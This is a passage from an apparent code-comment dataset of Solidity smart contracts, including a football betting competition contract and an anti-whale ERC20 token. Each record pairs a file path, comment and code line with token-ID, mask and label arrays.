1135, 12, 2867, 389, 2867, 13, 288, 203, 565, 19931, 288, 203, 1377, 2231, 6571, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 1377, 745, 892, 3530, 12, 6723, 16, 374, 92, 3028, 16, 374, 92, 7132, 13, 203, 1377, 2231, 3066, 519, 374, 92, 12648, 12648, 12648, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 9460, 203, 1377, 389, 2867, 519, 471, 12, 4455, 16, 417, 24410, 2 ]
./partial_match/3/0x93aE15BC2454C138e79F3F9EB26F9743c0c25C77/sources/pool.sol
* @dev unmark a pooler/ replace it with the last account in the array; re-index with the replaced account delete account mapping pop out the last element from the array log the pooler;
function _unmarkPooler(address account) internal { uint index = _poolerArrayIndices[account]; _poolers[index] = _poolers[_poolers.length-1]; _poolerArrayIndices[_poolers[index]] = index; delete _poolerArrayIndices[account]; _poolers.pop(); emit UnmarkPooler(account); }
5,151,161
[ 1, 318, 3355, 279, 2845, 264, 19, 1453, 518, 598, 326, 1142, 2236, 316, 326, 526, 31, 225, 283, 17, 1615, 598, 326, 8089, 2236, 1430, 2236, 2874, 1843, 596, 326, 1142, 930, 628, 326, 526, 613, 326, 2845, 264, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 318, 3355, 2864, 264, 12, 2867, 2236, 13, 2713, 288, 203, 3639, 2254, 770, 273, 389, 6011, 264, 1076, 8776, 63, 4631, 15533, 203, 203, 5411, 389, 6011, 414, 63, 1615, 65, 273, 389, 6011, 414, 63, 67, 6011, 414, 18, 2469, 17, 21, 15533, 203, 203, 5411, 389, 6011, 264, 1076, 8776, 63, 67, 6011, 414, 63, 1615, 13563, 273, 770, 31, 203, 203, 5411, 1430, 389, 6011, 264, 1076, 8776, 63, 4631, 15533, 203, 203, 5411, 389, 6011, 414, 18, 5120, 5621, 203, 2398, 203, 5411, 3626, 1351, 3355, 2864, 264, 12, 4631, 1769, 203, 3639, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0xDa848cF8Caf841fE5457F2690881fcCDa71626eF/sources/Tantinople.sol
用于标记蛋糕划分到哪里了,以便计算蛋糕的分配
pool.lastRewardBlock = block.number;
8,635,737
[ 1, 168, 247, 106, 165, 123, 241, 167, 259, 234, 169, 111, 113, 169, 254, 238, 168, 116, 248, 166, 235, 245, 166, 235, 233, 166, 235, 113, 166, 246, 108, 170, 234, 239, 165, 123, 233, 176, 125, 239, 165, 124, 103, 165, 127, 128, 169, 111, 99, 168, 111, 250, 169, 254, 238, 168, 116, 248, 168, 253, 231, 166, 235, 233, 170, 232, 240, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2845, 18, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.0; // Ownable.sol import "installed_contracts/zeppelin/contracts/ownership/Ownable.sol"; /* Contact used for football competitions */ contract FootballCompetition is Ownable { /* football competition */ /* for the purposes of the problem only 255 competitions can be added to this contract */ struct Competition { uint8 id; // competition id string name; // name for competition address organizer; // the address organizing the competition bool created; // is competition created uint potBalance; // total balance in competition uint256 startTimestamp; // competition start timestamp uint256 winnerTimestamp; // competition winner announcement timestamp bool winnerAnnounced; // is the winner announced uint8 winningTeam; // the winning team uint8[] teamIds; // holds a list of team ids uint8 totalTeams; // total number of teams mapping(uint8 => bool) teams; // teams available in competition mapping(uint8 => uint) betsOnTeam; // total bets on a team mapping(address => Participant) participants; // the participants in the competition } /* struct for team */ struct Team { uint8 id; // team id string name; // team name bool nameSet; // is team name set } /* struct for participant */ struct Participant { uint8 teamId; // team betting on bool isCompeting; // is participant competing } /* holds count of the total competitions */ uint8 private competitionCount; /* the maximum competitions which can be added */ uint8 constant maxCompetitions = 255; /* the maximum football teams which can be added */ uint8 constant maxFootballTeams = 255; /* holds count of the total teams */ uint8 private teamCount; /* holds football teams which can be found in any competition */ /* for the purposes of the problem only 255 teams can be added to this contract */ mapping(uint8 => Team) private footballTeams; /* holds a mapping of available competitions */ /* for the purposes of the problem only 255 competitions can be added to this contract */ mapping(uint8 => Competition) private competitions; /* this constructor is executed at initialization and sets the owner of the contract */ constructor() public { competitionCount = 0; // set number of competitions to 0 teamCount = 0; // set number of teams to 0 } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOrganizer(uint8 competitionId) { require(isOrganizer(competitionId), "Not Organizer."); _; } /** * @return true if `msg.sender` is the organizer of the competition. */ function isOrganizer(uint8 competitionId) public view returns (bool) { return msg.sender == competitions[competitionId].organizer; } /** * @dev Throws if competition does not exist. */ modifier competitionExist(uint8 competitionId) { require(competitions[competitionId].created == true, "Competition does not exist."); _; } /** * @dev Throws if team does not exist. */ modifier teamExist(uint8 teamId) { require(footballTeams[teamId].nameSet == true, "Team does not exist."); _; } /** * @dev Throws if called competition already started. */ modifier competitionStarted(uint8 competitionId) { require(now < competitions[competitionId].startTimestamp, "Competition already started."); _; } /** * @dev Throws if team is not in competition. */ modifier teamInCompetition(uint8 competitionId, uint8 teamId) { require(competitions[competitionId].teams[teamId] == true, "Team is not available in competition"); _; } /* returns the total number of teams */ function getTeamCount() public view returns (uint8) { return teamCount; } /* returns the total number of competitions */ function getCompetitionCount() public view returns (uint8) { return competitionCount; } /* add a new team to this contract (only the one who deployed contract can add team) */ /* these teams can be used in a specific competition */ /* this insures transparency as it cant be edited and the participant */ /* is insured that team with a specific id is the team with a specific name */ function addTeam(string memory name) public onlyOwner() { // check if more teams can be added to this contract require(teamCount < maxFootballTeams, "Cannot add more teams."); // increment before as we dont want id 0 to be a team teamCount += 1; // adds a new team footballTeams[teamCount] = Team(teamCount, name, true); } // get team name for the specified id function getTeam(uint8 id) public view teamExist(id) returns( uint8, string memory ) { // return team information return (footballTeams[id].id, footballTeams[id].name); } /* add a new competition (anyone can start a competition) */ function addCompetition( string memory name, // name of competition uint256 startTimestamp, // competition starting date uint256 winnerTimestamp // competition winner announcement date ) public { // check if more competitions can be added to this contract require(competitionCount < maxCompetitions, "Cannot add more competitions."); // check dates require(now <= startTimestamp, "Invalid start date."); require(startTimestamp < winnerTimestamp, "Invalid winner date."); // increment before as we dont want id 0 to be a competition competitionCount += 1; // set values for new competition Competition memory newCompetition; newCompetition.id = competitionCount; newCompetition.name = name; newCompetition.organizer = msg.sender; newCompetition.created = true; newCompetition.potBalance = 0; newCompetition.startTimestamp = startTimestamp; newCompetition.winnerTimestamp = winnerTimestamp; newCompetition.winnerAnnounced = false; newCompetition.teamIds = new uint8[](255); newCompetition.totalTeams = 0; // add competition competitions[competitionCount] = newCompetition; } /* return details about a competition */ function getCompetition(uint8 id) public view competitionExist(id) returns ( uint8, // competition id string memory, // competition name address, // organizer uint, // pot balance uint256, // start ts uint256, // end timestamp bool, // winner announced uint8, // winning team uint8[] memory, // team ids uint8 // total teams ) { Competition memory tmpCompetition = competitions[id]; return( tmpCompetition.id, tmpCompetition.name, tmpCompetition.organizer, tmpCompetition.potBalance, tmpCompetition.startTimestamp, tmpCompetition.winnerTimestamp, tmpCompetition.winnerAnnounced, tmpCompetition.winningTeam, tmpCompetition.teamIds, tmpCompetition.totalTeams ); } /* teams to be added in a competition must be entered one by one */ /* this is because of the problems of evm and unbounded loops */ /* only accessible by organizer */ function addTeamToCompetition( uint8 competitionId, // the competition id to add new team uint8 teamId // the team which will be added to the competition ) public onlyOrganizer(competitionId) // only accessible by organizer teamExist(teamId) // check if team exist competitionExist(competitionId) // check if competition exist competitionStarted(competitionId) // check if competition started { // check if team exists require(footballTeams[teamId].nameSet == true, "Team does not exist"); // check if team is already in competition (cannot override teams!) require(competitions[competitionId].teams[teamId] == false, "Team already in competition."); // add team to competition competitions[competitionId].teams[teamId] = true; // increment total number of teams in competition and add team to competition competitions[competitionId].teamIds[competitions[competitionId].totalTeams] = teamId; competitions[competitionId].totalTeams += 1; } /* allows participants to join a specific competition */ function joinCompetition( uint8 competitionId, // competion id which the address will be joining uint8 teamId // the team id which the address is betting on ) public competitionExist(competitionId) // check if competition exist competitionStarted(competitionId) // check if competition started teamInCompetition(competitionId, teamId) // check if team is available in competition { // check if the one joining is already in competition (one address one bet) require(competitions[competitionId].participants[msg.sender].isCompeting == false, "Already in competition."); // set new balance for pot competitions[competitionId].potBalance += 10; // set team for participant competitions[competitionId].participants[msg.sender].isCompeting = true; competitions[competitionId].participants[msg.sender].teamId = teamId; // increment the number of bets on that team competitions[competitionId].betsOnTeam[teamId] += 1; } /* set winner for a specific competition only accessible by organizer */ function setWinningTeam( uint8 competitionId, // the competition id to set the winner for uint8 teamId // the winning team for the competition ) public onlyOrganizer(competitionId) // only accessed by organizer competitionExist(competitionId) // check if competition exist teamInCompetition(competitionId, teamId) // check if team is available in competition { // cannot override winner check if winner was already announced require(competitions[competitionId].winnerAnnounced == false, "Winner is already set."); // can set winner if competition is over require(now >= competitions[competitionId].winnerTimestamp, "Competition not finished yet."); // set winning team competitions[competitionId].winnerAnnounced = true; competitions[competitionId].winningTeam = teamId; } /* check winnings for a participant */ function checkWinnings(uint8 competitionId) public view competitionExist(competitionId) returns( bool, uint, uint, uint, uint8 ) { // check if participant was actually competing in competition require(competitions[competitionId].participants[msg.sender].isCompeting == true, "Address was not in competition."); // check that the winner was announced require(competitions[competitionId].winnerAnnounced == true, "Winning team not set yet."); // get competition Competition storage tmpCompetition = competitions[competitionId]; uint8 winningTeam = tmpCompetition.winningTeam; uint8 selectedTeam = tmpCompetition.participants[msg.sender].teamId; bool isWinner = selectedTeam == winningTeam; uint potBalance = tmpCompetition.potBalance; uint totalWinners = tmpCompetition.betsOnTeam[winningTeam]; // calculate winnings for the one requesting uint winnings = 0; if(isWinner == true){ if(totalWinners > 1){ winnings = potBalance / totalWinners; } else{ winnings = potBalance; } } // return values return( isWinner, // is the address a winner potBalance, // total in pot winnings, // winnings by address totalWinners, // total winners selectedTeam // the selected team ); } }
total bets on a team
mapping(uint8 => uint) betsOnTeam;
12,761,709
[ 1, 4963, 324, 2413, 603, 279, 5927, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2874, 12, 11890, 28, 516, 2254, 13, 324, 2413, 1398, 8689, 31, 2868, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x164c24d0844c267DA15a4c841eaBae817d211EA1/sources/Users/hristiyangeorgiev/Documents/Projects/Redemeum/ERC20/bsn-core-prototype/contracts/VoucherKernel.sol
hex"20" FISSION.code(FISSION.Category.Find, FISSION.Status.NotFound_Unequal_OutOfRange)
require(_tokenIdVoucher != 0, "UNSPECIFIED_ID");
13,350,888
[ 1, 7118, 6, 3462, 6, 4011, 4475, 18, 710, 12, 1653, 4475, 18, 4457, 18, 3125, 16, 4011, 4475, 18, 1482, 18, 2768, 67, 984, 9729, 67, 11224, 2655, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 24899, 2316, 548, 19585, 480, 374, 16, 315, 2124, 13847, 13519, 67, 734, 8863, 282, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/44787/0x6D94f8AD07C316E156c8656fa5637607e8eD899e/sources/contracts/Invoice.sol
* @dev Constructer to Initialize _invoiceID to 1/
constructor(){ _invoiceID = 1; }
13,251,590
[ 1, 7249, 264, 358, 9190, 389, 16119, 734, 358, 404, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 3885, 1435, 95, 203, 3639, 389, 16119, 734, 273, 404, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >= 0.6.12; import "./libs/ProtofiERC20.sol"; /** This is the contract of the primary token. Features: - 2% burn mechanism for every transaction. - Ownable - Strictly related to the second token - You can use the second token to claim the primary token. - Antiwhale, can be set up only by operator Owner --> Masterchef for farming features Operator --> Team address that handles the antiwhales settings when needed */ contract ProtonToken is ProtofiERC20 { // Address to the secondary token address public electron; bool private _isElectronSetup = false; // Addresses that excluded from antiWhale mapping(address => bool) private _excludedFromAntiWhale; // Addresses that excluded from transfer fee mapping(address => bool) private _excludedFromTransferFee; // Max transfer amount rate in basis points. Eg: 50 - 0.5% of total supply (default the anti whale feature is turned off - set to 10000.) uint16 public maxTransferAmountRate = 10000; // Minimum transfer amount rate in basis points. Deserved for user trust, we can't block users to send this token. // maxTransferAmountRate cannot be lower than BASE_MIN_TRANSFER_AMOUNT_RATE uint16 public constant BASE_MAX_TRANSFER_AMOUNT_RATE = 100; // Cannot be changed, ever! // The operator can only update the Anti Whale Settings address private _operator; // Events event OperatorTransferred(address indexed previousOperator, address indexed newOperator); event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate); constructor() public ProtofiERC20("Protofi Token", "PROTO"){ // After initializing the token with the original constructor of ProtofiERC20 // setup antiwhale variables. _operator = msg.sender; emit OperatorTransferred(address(0), _operator); _excludedFromAntiWhale[msg.sender] = true; // Original deployer address _excludedFromAntiWhale[address(0)] = true; _excludedFromAntiWhale[address(this)] = true; _excludedFromAntiWhale[BURN_ADDRESS] = true; } /** @dev similar to onlyOwner but used to handle the antiwhale side of the smart contract. In that way the ownership can be transferred to the MasterChef without preventing devs to modify antiwhale settings. */ modifier onlyOperator() { require(_operator == msg.sender, "operator: caller is not the operator"); _; } /** Exludes sender to send more than a certain amount of tokens given settings, if the sender is not whitelisted! */ modifier antiWhale(address sender, address recipient, uint256 amount) { if (maxTransferAmount() > 0) { if ( _excludedFromAntiWhale[sender] == false ) { require(amount <= maxTransferAmount(), "PROTO::antiWhale: Transfer amount exceeds the maxTransferAmount"); } } _; } /** * @dev Returns the max transfer amount. */ function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(10000); } /** * @dev Update the max transfer amount rate. * Can only be called by the current operator. */ function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyOperator { require(_maxTransferAmountRate <= 10000, "PROTO::updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); require(_maxTransferAmountRate >= BASE_MAX_TRANSFER_AMOUNT_RATE, "PROTO::updateMaxTransferAmountRate: _maxTransferAmountRate should be at least _maxTransferAmountRate"); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } /** * @dev Returns the address is excluded from antiWhale or not. */ function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } /** * @dev Exclude or include an address from antiWhale. * Can only be called by the current operator. */ function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyOperator { _excludedFromAntiWhale[_account] = _excluded; } /** * @dev Returns the address is excluded from transfer fee or not. */ function isExcludedFromTransferFee(address _account) public view returns (bool) { return _excludedFromTransferFee[_account]; } /** * @dev Exclude or include an address from transfer fee. * Can only be called by the current operator. */ function setExcludedFromTransferFee(address _account, bool _excluded) public onlyOperator { _excludedFromTransferFee[_account] = _excluded; } /// @dev Throws if called by any account other than the owner or the secondary token modifier onlyOwnerOrElectron() { require(isOwner() || isElectron(), "caller is not the owner or electron"); _; } /// @dev Returns true if the caller is the current owner. function isOwner() public view returns (bool) { return msg.sender == owner(); } /// @dev Returns true if the caller is electron contracts. function isElectron() internal view returns (bool) { return msg.sender == address(electron); } /// @dev Sets the secondary token address. function setupElectron(address _electron) external onlyOwner{ require(!_isElectronSetup, "The Electron token address has already been set up. No one can change it anymore."); electron = _electron; _isElectronSetup = true; } /** @notice Creates `_amount` 